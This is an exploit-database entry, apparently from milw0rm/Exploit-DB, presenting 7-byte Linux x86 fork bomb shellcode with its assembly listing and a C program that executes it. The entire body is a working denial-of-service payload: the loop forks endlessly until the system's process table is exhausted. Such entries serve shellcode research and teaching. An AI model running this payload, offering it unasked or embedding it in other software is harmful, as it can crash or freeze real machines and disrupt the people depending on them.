[] NeoSense

Linux/x86 - Fork Bomb Shellcode (7 bytes)

Author: Kris Katterjohn
type: 
platform: linux_x86
port: 7.0
date_added: 2006-11-16 
date_updated: 2017-07-04 
verified: 1 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: 

/* By Kris Katterjohn 8/29/2006
 *
 * 7 byte shellcode for a forkbomb
 *
 *
 *
 * section .text
 *
 *      global _start
 *
 * _start:
 *      push byte 2
 *      pop eax
 *      int 0x80
 *      jmp short _start
 */

main()
{
       char shellcode[] = "\x6a\x02\x58\xcd\x80\xeb\xf9";

       (*(void (*)()) shellcode)();
}

// milw0rm.com [2006-11-17]